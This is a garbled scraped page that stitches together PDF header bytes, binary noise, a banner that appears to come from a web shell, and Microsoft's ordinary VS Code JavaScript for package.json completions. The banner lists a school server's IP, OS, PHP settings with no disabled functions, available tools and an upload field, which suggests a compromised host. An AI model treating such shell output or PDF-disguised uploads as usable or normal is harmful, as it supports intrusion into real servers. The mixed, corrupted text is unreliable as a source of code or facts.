%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : kowitt.ac.th / Your IP : 216.73.216.120 Web Server : Microsoft-IIS/7.5 System : Windows NT SERVER02 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) i586 User : IUSR ( 0) PHP Version : 5.6.31 Disable Function : NONE MySQL : ON | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : /Program Files/Microsoft VS Code/resources/app/extensions/npm/out/features/ |
Upload File : |
/*--------------------------------------------------------------------------------------------- * Copyright (c) Microsoft Corporation. All rights reserved. * Licensed under the MIT License. See License.txt in the project root for license information. *--------------------------------------------------------------------------------------------*/ 'use strict'; Object.defineProperty(exports, "__esModule", { value: true }); const jsonc_parser_1 = require("jsonc-parser"); const path_1 = require("path"); const bowerJSONContribution_1 = require("./bowerJSONContribution"); const packageJSONContribution_1 = require("./packageJSONContribution"); const vscode_1 = require("vscode"); function addJSONProviders(xhr) { const contributions = [new packageJSONContribution_1.PackageJSONContribution(xhr), new bowerJSONContribution_1.BowerJSONContribution(xhr)]; const subscriptions = []; contributions.forEach(contribution => { const selector = contribution.getDocumentSelector(); subscriptions.push(vscode_1.languages.registerCompletionItemProvider(selector, new JSONCompletionItemProvider(contribution), '"', ':')); subscriptions.push(vscode_1.languages.registerHoverProvider(selector, new JSONHoverProvider(contribution))); }); return vscode_1.Disposable.from(...subscriptions); } exports.addJSONProviders = addJSONProviders; class JSONHoverProvider { constructor(jsonContribution) { this.jsonContribution = jsonContribution; } provideHover(document, position, _token) { const fileName = path_1.basename(document.fileName); const offset = document.offsetAt(position); const location = jsonc_parser_1.getLocation(document.getText(), offset); if (!location.previousNode) { return null; } const node = location.previousNode; if (node && node.offset <= offset && offset <= node.offset + node.length) { const promise = this.jsonContribution.getInfoContribution(fileName, location); if (promise) { return promise.then(htmlContent => { const range = new vscode_1.Range(document.positionAt(node.offset), document.positionAt(node.offset + node.length)); const result = { contents: htmlContent || [], range: range }; return result; }); } } return null; } } exports.JSONHoverProvider = JSONHoverProvider; class JSONCompletionItemProvider { constructor(jsonContribution) { this.jsonContribution = jsonContribution; } resolveCompletionItem(item, _token) { if (this.jsonContribution.resolveSuggestion) { const resolver = this.jsonContribution.resolveSuggestion(item); if (resolver) { return resolver; } } return Promise.resolve(item); } provideCompletionItems(document, position, _token) { const fileName = path_1.basename(document.fileName); const currentWord = this.getCurrentWord(document, position); let overwriteRange; const items = []; let isIncomplete = false; const offset = document.offsetAt(position); const location = jsonc_parser_1.getLocation(document.getText(), offset); const node = location.previousNode; if (node && node.offset <= offset && offset <= node.offset + node.length && (node.type === 'property' || node.type === 'string' || node.type === 'number' || node.type === 'boolean' || node.type === 'null')) { overwriteRange = new vscode_1.Range(document.positionAt(node.offset), document.positionAt(node.offset + node.length)); } else { overwriteRange = new vscode_1.Range(document.positionAt(offset - currentWord.length), position); } const proposed = {}; const collector = { add: (suggestion) => { if (!proposed[suggestion.label]) { proposed[suggestion.label] = true; suggestion.range = overwriteRange; items.push(suggestion); } }, setAsIncomplete: () => isIncomplete = true, error: (message) => console.error(message), log: (message) => console.log(message) }; let collectPromise = null; if (location.isAtPropertyKey) { const addValue = !location.previousNode || !location.previousNode.columnOffset; const isLast = this.isLast(document, position); collectPromise = this.jsonContribution.collectPropertySuggestions(fileName, location, currentWord, addValue, isLast, collector); } else { if (location.path.length === 0) { collectPromise = this.jsonContribution.collectDefaultSuggestions(fileName, collector); } else { collectPromise = this.jsonContribution.collectValueSuggestions(fileName, location, collector); } } if (collectPromise) { return collectPromise.then(() => { if (items.length > 0) { return new vscode_1.CompletionList(items, isIncomplete); } return null; }); } return null; } getCurrentWord(document, position) { let i = position.character - 1; const text = document.lineAt(position.line).text; while (i >= 0 && ' \t\n\r\v":{[,'.indexOf(text.charAt(i)) === -1) { i--; } return text.substring(i + 1, position.character); } isLast(document, position) { const scanner = jsonc_parser_1.createScanner(document.getText(), true); scanner.setPosition(document.offsetAt(position)); let nextToken = scanner.scan(); if (nextToken === jsonc_parser_1.SyntaxKind.StringLiteral && scanner.getTokenError() === jsonc_parser_1.ScanError.UnexpectedEndOfString) { nextToken = scanner.scan(); } return nextToken === jsonc_parser_1.SyntaxKind.CloseBraceToken || nextToken === jsonc_parser_1.SyntaxKind.EOF; } } exports.JSONCompletionItemProvider = JSONCompletionItemProvider; //# sourceMappingURL=https://ticino.blob.core.windows.net/sourcemaps/0f080e5267e829de46638128001aeb7ca2d6d50e/extensions\npm\out/features\jsonContributions.js.map